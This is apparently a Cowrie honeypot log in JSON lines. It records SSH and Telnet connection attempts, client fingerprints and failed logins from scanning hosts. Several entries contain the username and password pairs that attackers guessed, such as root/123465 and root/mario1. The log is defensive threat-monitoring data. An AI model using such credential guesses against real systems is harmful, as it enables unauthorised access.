{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:32.601294Z","src_ip":"49.207.40.162","session":"2f4c7e529e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:32.823663Z","src_ip":"49.207.40.162","session":"2f4c7e529e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.061194896697998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:33.148760Z","src_ip":"104.238.81.133","session":"f9e3aa93258f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123465","message":"login attempt [root/123465] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:33.721809Z","src_ip":"49.207.40.162","session":"2f4c7e529e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:34.941895Z","src_ip":"49.207.40.162","session":"2f4c7e529e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40350,"dst_ip":"10.17.0.5","dst_port":22,"session":"439b6eb4f818","protocol":"ssh","message":"New connection: 8.218.166.49:40350 (10.17.0.5:22) [session: 439b6eb4f818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:36.715553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:36.720470Z","src_ip":"8.218.166.49","session":"439b6eb4f818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:37.184320Z","src_ip":"8.218.166.49","session":"439b6eb4f818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:37.861451Z","src_ip":"8.218.166.49","session":"439b6eb4f818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:40.026790Z","src_ip":"8.218.166.49","session":"439b6eb4f818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.90.84","src_port":9771,"dst_ip":"10.17.0.5","dst_port":23,"session":"866bc9e11a94","protocol":"telnet","message":"New connection: 38.156.90.84:9771 (10.17.0.5:23) [session: 866bc9e11a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:40.366834Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":49952,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d22a75b9c7","protocol":"ssh","message":"New connection: 198.23.150.42:49952 (10.17.0.5:22) [session: 75d22a75b9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:43.445825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:43.450896Z","src_ip":"198.23.150.42","session":"75d22a75b9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:43.468183Z","src_ip":"198.23.150.42","session":"75d22a75b9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mario1","message":"login attempt [root/mario1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:43.565979Z","src_ip":"198.23.150.42","session":"75d22a75b9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":55212,"dst_ip":"10.17.0.5","dst_port":22,"session":"df77483484d8","protocol":"ssh","message":"New connection: 14.63.196.175:55212 (10.17.0.5:22) [session: df77483484d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:44.246087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:44.250518Z","src_ip":"14.63.196.175","session":"df77483484d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:44.451800Z","src_ip":"14.63.196.175","session":"df77483484d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:44.585015Z","src_ip":"198.23.150.42","session":"75d22a75b9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asteriskftp","message":"login attempt [root/asteriskftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:45.290993Z","src_ip":"14.63.196.175","session":"df77483484d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:46.501684Z","src_ip":"14.63.196.175","session":"df77483484d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49898,"dst_ip":"10.17.0.5","dst_port":22,"session":"472bc75333ec","protocol":"ssh","message":"New connection: 8.218.166.49:49898 (10.17.0.5:22) [session: 472bc75333ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:46.918626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:46.922992Z","src_ip":"8.218.166.49","session":"472bc75333ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.227.186","src_port":32879,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a1158ac676","protocol":"ssh","message":"New connection: 104.28.227.186:32879 (10.17.0.5:22) [session: f0a1158ac676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:47.501539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:47.505665Z","src_ip":"104.28.227.186","session":"f0a1158ac676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:47.584291Z","src_ip":"104.28.227.186","session":"f0a1158ac676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:47.955820Z","src_ip":"104.28.227.186","session":"f0a1158ac676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:49.060624Z","src_ip":"104.28.227.186","session":"f0a1158ac676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":59024,"dst_ip":"10.17.0.5","dst_port":22,"session":"0617743a66c2","protocol":"ssh","message":"New connection: 8.218.166.49:59024 (10.17.0.5:22) [session: 0617743a66c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:56.362381Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":59026,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fc47a7be767","protocol":"ssh","message":"New connection: 8.218.166.49:59026 (10.17.0.5:22) [session: 7fc47a7be767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:01.286439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:01.291465Z","src_ip":"8.218.166.49","session":"7fc47a7be767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:01.498325Z","src_ip":"8.218.166.49","session":"7fc47a7be767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":57944,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c4425be28e","protocol":"telnet","message":"New connection: 104.238.81.133:57944 (10.17.0.5:23) [session: 73c4425be28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:06.833848Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43510,"dst_ip":"159.203.135.109","dst_port":22,"session":"74a4c865f474","protocol":"ssh","message":"New connection: 2.57.122.238:43510 (159.203.135.109:22) [session: 74a4c865f474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:25.913637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:25.917832Z","src_ip":"2.57.122.238","session":"74a4c865f474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:26.022294Z","src_ip":"2.57.122.238","session":"74a4c865f474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:26.337859Z","src_ip":"2.57.122.238","session":"74a4c865f474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:27.445888Z","src_ip":"2.57.122.238","session":"74a4c865f474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51264,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd7fa487edae","protocol":"ssh","message":"New connection: 8.218.166.49:51264 (10.17.0.5:22) [session: dd7fa487edae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:29.587623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:30.362622Z","src_ip":"8.218.166.49","session":"dd7fa487edae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:31.881874Z","src_ip":"8.218.166.49","session":"dd7fa487edae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.8.142","src_port":7622,"dst_ip":"10.17.0.5","dst_port":22,"session":"5797df859052","protocol":"ssh","message":"New connection: 104.194.8.142:7622 (10.17.0.5:22) [session: 5797df859052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:35.677993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:35.683101Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
